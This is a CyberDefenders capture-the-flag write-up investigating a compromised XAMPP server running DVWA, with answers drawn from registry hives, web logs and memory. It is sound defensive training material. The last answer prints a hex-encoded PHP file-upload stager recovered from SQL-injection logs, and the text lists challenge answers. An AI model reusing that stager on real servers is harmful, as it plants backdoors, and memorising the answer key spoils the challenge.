CyberDefenders / ARTICLE

cyberInjector Lab

Lab solution ahead. This writeup contains answers and investigation steps for a CyberDefenders training challenge.

بسم الله والصلاة والسلام على رسول الله
اللهم علمنا ما ينفعنا وانفعنا بما علمتنا وقنا عذاب النار

challenge link :

https://cyberdefenders.org/blueteam-ctf-challenges/injector/


scenario : company’s web server has been breached through their website. Our team arrived just in time to take a forensic image of the running system and its memory for further analysis.\
As a soc analyst, you are tasked with mounting the image to determine how the system was compromised and the actions/commands the attacker executed.


What is the computer's name?

extract the main hives : \
Windows\System32\config

choose “ComputerName” From BookMarks

ans → WIN-L0ZZQ76PMUF


What is the Timezone of the compromised machine? Format: UTC+0 (no-space)

420/-60 = -7

ans → UTC-7


What was the first vulnerability the attacker was able to exploit?

XAMPP is a free, cross-platform web server package that includes Apache, MariaDB (a fork of MySQL), PHP, and Perl, allowing developers to create, test, and deploy websites and web applications on their local computers

Apache Friends\
XAMPP is an easy to install Apache distribution containing MariaDB, PHP and Perl.www.apachefriends.org

As the scenario shows, we’ll be dealing with a web server and when I searched the files I found an xampp directory, which is an Apache server so I’ll look at its logs to see what the attacker was able to exploit.\
There’s a high likelihood they exploited web vulnerabilities such as SQL Injection, XSS, CSRF, LFI, …

I found many logs in access.log file so I had to use the goaccess tool it gives a summary and highlights useful findings. This tool analyzes web server logs (Apache, Nginx, Cloudflare…).

When I checked the summary I found the attacker making many requests to /dvwa/vulnerabilities/ for a variety of vulnerabilities. But we need the very first one.\
When I checked DVWA’s GitHub I found a folder named vulnerabilities that contains attacks the attacker could try. So DVWA was installed on the server.

first vulnerability the attacker was able to exploit :

GitHub – digininja/DVWA: Damn Vulnerable Web Application (DVWA)\
Damn Vulnerable Web Application (DVWA). Contribute to digininja/DVWA development by creating an account on GitHub.github.com

ans → xss


What is the OS build number?

from “SOFTWARE” Hive

ans → 6001


How many users are on the compromised machine?

from “SAM” Hive

ans → 4


What is the webserver package installed on the machine?

from previous questions

ans → xampp


What is the name of the vulnerable web app installed on the webserver?

from previous investigations

ans → dvwa


What is the user agent used in the HTTP requests sent by the SQL injection attack tool?

from “goaccess tool”

ans → sqlmap/1.0-dev-nongit-20150902


The attacker read multiple files through LFI vulnerability. One of them is related to network configuration. What is the filename?

When I searched the DVWA GitHub in the vulnerabilities folder I found fi, which indicates file inclusion. When I tested it, I found the attacker was performing path traversal to reach the hosts file.

ans → hosts


The attacker tried to update some firewall rules using netsh command. Provide the value of the type parameter in the executed command?

ans → remotedesktop


How many users were added by the attacker?

from “SAM” Hive

Both users were created on the same day, back-to-back, and both were added to the Remote Desktop Users group. That makes it easier for the attacker to perform lateral movement and to access the users remotely.

ans → 2


When did the attacker create the first user?

from the previous question

ans → 2015–09–02 09:05:06 utc


What is the NThash of the user's password set by the attacker?

from the “memory image” using “hashdump” plugin

ans → 817875ce4794a9262159186413772644


What is The MITRE ID corresponding to the technique used to keep persistence?

ans → T1136.001


The attacker uploaded a simple command shell through file upload vulnerability. Provide the name of the URL parameter used to execute commands?

ans → cmd


One of the uploaded files by the attacker has an md5 that starts with "559411". Provide the full hash.

We need to locate the webshell the attacker uploaded and compute its hash.

ans → 5594112b531660654429f8639322218b


The attacker used Command Injection to add user "hacker" to the "Remote Desktop Users" Group. Provide the IP address that was part of the executed command?

I searched for the IP that performed SQL injection, XSS, LFI and uploaded the webshells they were all the same IP.

ans → 192.168.56.102


The attacker dropped a shellcode through SQLi vulnerability. The shellcode was checking for a specific version of PHP. Provide the PHP version number?

When I searched the SQL injection logs I found an entry containing hex code. I suspected it was shellcode, so I decoded it to see if I could extract the answer.

3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246
469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f
6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696
c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f50
4f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2
466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c
65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535
b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f7220
64696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f2
02246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d2061637469
6f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f53542
0656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e7075742074797065
3d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d3130303030303
03030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e70
7574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793
a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d
5c5c78616d70705c5c6874646f63735c5c3e203c696e70757420747970653d7375626d6974206e6
16d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a

ans → 4.1.0


سبحانك اللهم وبحمدك, أشهد أن لا إله إلا أنت, نستغفرك ونتوب إليك
← All journal articles
Scroll to Top
Home